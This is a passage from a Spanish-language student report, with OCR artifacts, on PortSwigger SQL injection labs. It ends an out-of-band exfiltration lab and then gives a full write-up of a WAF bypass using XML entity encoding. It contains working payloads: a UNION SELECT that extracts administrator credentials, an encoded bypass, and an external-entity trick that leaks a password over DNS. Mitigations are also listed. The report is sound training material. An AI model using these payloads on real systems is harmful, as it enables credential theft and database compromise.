e UNION SELECT - Permite inyectar una consulta adicional.
e (SELECT password FROM users WHERE username='administrator') - Extrae la
contrasefia del usuario administrador.

e || & Concatena el resultado dentro de una URL.
e <IENTITY % remote SYSTEM "http://..."> = Define una entidad externa que apunta

a un dominio controlado por el atacante, incluyendo la contrasefia como

subdominio.
e Al procesar el XML, el servidor intenta resolver la URL, enviando una solicitud
DNS/HTTP que contiene la contraseiia.
e -- > Comenta el resto de la consulta original.

8. RESULTADO DEL ATAQUE
e Se recibirian interacciones DNS y/o HTTP.

e El nombre de dominio solicitado incluiria la contrasefa del usuario administrator.
e Con la contrasefia obtenida, seria posible iniciar sesiéon como administrador.

9. EVIDENCIA:

N/A

10. IMPACTO DE LA VULNERABILIDAD

En un entorno real, esta vulnerabilidad podria permitir:
e Exfiltracidn directa de credenciales



e Robo de informacidn sensible sin dejar evidencia en la respuesta HTTP

e Bypass de monitoreo tradicional basado en contenido

e Compromiso total de la base de datos
Las técnicas OAST representan un riesgo critico porque permiten extraer datos incluso
cuando la aplicaciéon no devuelve informacion visible al atacante.

11. MITIGACION

Medidas recomendadas:
e Uso obligatorio de consultas parametrizadas
e Deshabilitar procesamiento XML innecesario en base de datos
e Bloquear resoluciones DNS y trafico saliente no autorizado (egress filtering)
e Aplicar principio de minimo privilegio
e Monitorear trafico DNS saliente anédmalo
o Implementar WAF con deteccién de patrones OAST

12. CONCLUSION DEL LABORATORIO

Este laboratorio demuestra cédmo una inyecciéon SQL ciega puede evolucionar hacia la
exfiltracién completa de datos mediante canales externos como DNS o HTTP.

Incluso sin errores visibles ni diferencias en tiempo de respuesta, un atacante puede extraer
informacidn critica si el servidor tiene permitido realizar conexiones salientes.

La prevencion requiere controles tanto a nivel de aplicacién (consultas parametrizadas)
como a nivel de infraestructura (restriccion de trafico saliente y monitoreo de eventos
anémalos).



LABORATORIO 18

Nombre del laboratorio: SQL injection with filter bypass via XML encoding

Nivel: Practitioner

Tipo de ataque: SQL Injection — UNION-based con bypass de WAF mediante XML
encoding

1. OBJETIVO DEL LABORATORIO

El objetivo de este laboratorio es explotar una vulnerabilidad de SQL Injection presente en
la funcionalidad de verificacién de inventario (stock check) de la aplicacion.

El ataque consiste en manipular los pardmetros enviados en formato XML para ejecutar una
consulta UNION que permita recuperar informacién de otras tablas de la base de datos,
especificamente las credenciales del usuario administrator.

Finalmente, se utilizan las credenciales obtenidas para iniciar sesidn en la aplicacién y
completar el laboratorio.

2. CONTEXTO TECNICO

La aplicacién cuenta con una funcionalidad que permite consultar el inventario de un
producto en una tienda especifica.

Para realizar esta consulta, el cliente envia una solicitud POST al servidor con los pardmetros
productld y storeld en formato XML.

Ejemplo de solicitud:

<stockCheck>
<productld>1</productid>
<storeld>1</storeld>

</stockCheck>

El servidor utiliza estos pardmetros para construir una consulta SQL que consulta el
inventario en la base de datos.

El problema ocurre cuando el valor de storeld no es validado correctamente. Esto permite
que un atacante introduzca cédigo SQL dentro del XML, lo que puede alterar la consulta
original.



Ademas, la aplicacién cuenta con un WAF (Web Application Firewall) que intenta bloquear
ataques SQL Injection. Sin embargo, este filtro puede ser evadido utilizando codificacion de
entidades XML.

3. IDENTIFICACION DE LA VULNERABILIDAD

La vulnerabilidad se identificé al observar que la funcién stock check enviaba datos al
servidor en formato XML.

Al interceptar la solicitud con Burp Suite, se pudo modificar manualmente el valor del
parametro storeld.

Se realizaron pruebas utilizando expresiones matematicas dentro del parametro, por
ejemplo:

<storeld>1+1</storeld>

La aplicacion respondié con el inventario de otra tienda, lo que indicé que la entrada estaba
siendo evaluada por el servidor, confirmando que el parametro era vulnerable a SQL
Injection.

4. HERRAMIENTAS UTILIZADAS

Herramientas utilizadas durante el laboratorio:

e Burp Suite

e Burp Repeater

e Hackvertor Extension

e Navegador web

e PortSwigger Web Security Academy

Uso de Burp Suite:

Burp Suite se utilizé para interceptar la solicitud HTTP enviada al servidor y enviarla a Burp
Repeater, lo que permitié modificar manualmente los valores del XML y probar distintos
payloads de SQL Injection.

Uso de Hackvertor:

La extensidn Hackvertor fue utilizada para codificar el payload SQL mediante XML entities,
lo que permitio evadir el filtro de seguridad (WAF) implementado por la aplicacién.



5. PROCEDIMIENTO PASO A PASO

Se accedié al laboratorio desde la plataforma PortSwigger Web Security Academy.
Se utilizd la funcién stock check de la aplicacién para generar una solicitud HTTP.
La solicitud fue interceptada con Burp Suite Proxy.

Se envid la solicitud interceptada a Burp Repeater para poder modificarla
manualmente.

5. Se probd si el parametro storeld evaluaba expresiones utilizando:

PownNE

<storeld>1+1</storeld>

6. Se observé que la aplicacion devolvia resultados diferentes, confirmando que el
pardmetro era vulnerable.

7. Se intentd realizar una inyeccidn utilizando UNION SELECT, pero la solicitud fue
bloqueada por el WAF.

8. Para evadir el filtro, se utiliz6 Hackvertor para codificar el payload en XML entities.

9. Se envid nuevamente la solicitud y el servidor respondié normalmente, indicando
gue el WAF habia sido evadido.

10. Se construyo un payload para extraer datos de la tabla users.

11. Se concatenaron los valores username y password utilizando el operador | |.

12. Se enviaron las solicitudes hasta obtener las credenciales de los usuarios.

13. Se identificaron las credenciales del usuario administrator.

14. Se inicié sesidn con dichas credenciales, completando el laboratorio.

6. PAYLOAD UTILIZADO

<storeld><@hex_entities>1 UNION SELECT username || '~ || password FROM
users</@hex_entities></storeld>

7. EXPLICACION DEL PAYLOAD

El payload realiza las siguientes acciones:
1 UNION SELECT

Permite combinar los resultados de la consulta original con datos provenientes de otra
tabla.



username || '"~' | | password

Concatena los valores de las columnas username y password, separandolos con el caracter
~ para facilitar su lectura.

FROM users

Indica que la informacién se debe obtener de la tabla users, donde se almacenan las
credenciales de los usuarios.

XML Encoding

El payload fue codificado utilizando entidades XML, lo que permitié evadir el filtro de
seguridad (WAF) que bloqueaba consultas SQL sospechosas.

8. RESULTADO DEL ATAQUE

Después de enviar el payload correctamente codificado, la aplicacién devolvido una
respuesta que contenia los nombres de usuario y contrasefias almacenados en la base de
datos.

Entre los resultados se encontraban las credenciales del usuario administrator.

Se utilizaron estas credenciales para iniciar sesién en la aplicacién, lo que permitid
completar exitosamente el laboratorio.

Finalmente, el laboratorio fue marcado como Lab Solved.

9. EVIDENCIA:
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10. IMPACTO DE LA VULNERABILIDAD

Si esta vulnerabilidad existiera en un sistema real, podria permitir:

e Robo de credenciales de usuarios

e Acceso a cuentas administrativas

e Acceso a informacién confidencial

e Compromiso completo de la base de datos
e Escalada de privilegios dentro del sistema

Ademas, la capacidad de evadir un WAF aumenta significativamente el riesgo, ya que
demuestra que los mecanismos de defensa pueden ser burlados.

11. MITIGACION

Para prevenir este tipo de vulnerabilidades, se recomienda:

e Uso de Prepared Statements

e Implementacidn de consultas parametrizadas

e Validacion estricta de entradas en XML

e Sanitizacidn de datos antes de enviarlos a la base de datos
e Uso de ORM seguros



e Configuracion adecuada de WAF
e Aplicacion del principio de minimo privilegio en la base de datos

Estas medidas ayudan a evitar que los datos enviados por el usuario sean interpretados
como cédigo SQL.

12. CONCLUSION DEL LABORATORIO

Este laboratorio permitid comprender cémo una vulnerabilidad de SQL Injection puede
explotarse incluso cuando existen mecanismos de proteccién como un WAF.

Mediante el uso de codificacion XML, fue posible evadir el filtro de seguridad y ejecutar una
consulta UNION SELECT para recuperar credenciales almacenadas en la base de datos.

Este ejercicio demuestra la importancia de implementar validaciones adecuadas y
consultas parametrizadas, ya que los filtros de seguridad por si solos no son suficientes
para proteger una aplicacidn contra ataques de SQL Injection.



CONCLUSION

La actividad “Road to Hall of Fame — SQL Injection” permitié comprender tanto de forma
tedrica como practica el funcionamiento de las vulnerabilidades de SQL Injection en
aplicaciones web. A través de los laboratorios de PortSwigger Web Security Academy se
analizaron diferentes tipos de ataques, incluyendo Union-based, Error-based, Blind SQL
Injection y Out-of-band, lo que permitié identificar cémo los atacantes pueden manipular
consultas SQL para obtener informacién de una base de datos.

Durante el desarrollo de los laboratorios se utilizdé Burp Suite para interceptar y modificar
peticiones HTTP, lo que facilitd la identificacién de pardmetros vulnerables y la aplicacién
de distintos payloads para explotar las vulnerabilidades presentes en cada escenario.
Asimismo, se analizd el impacto que este tipo de ataques puede tener en

la confidencialidad, integridad y disponibilidad de la informacidn, asi como la importancia
de aplicar buenas practicas de desarrollo seguro, como el uso de consultas
parametrizadas, validacién de entradas y control de privilegios en bases de datos.
Finalmente, esta actividad permitié comprender la relevancia de la seguridad en el
desarrollo de aplicaciones web y la importancia de identificar y mitigar vulnerabilidades
antes de que puedan ser explotadas en entornos reales.
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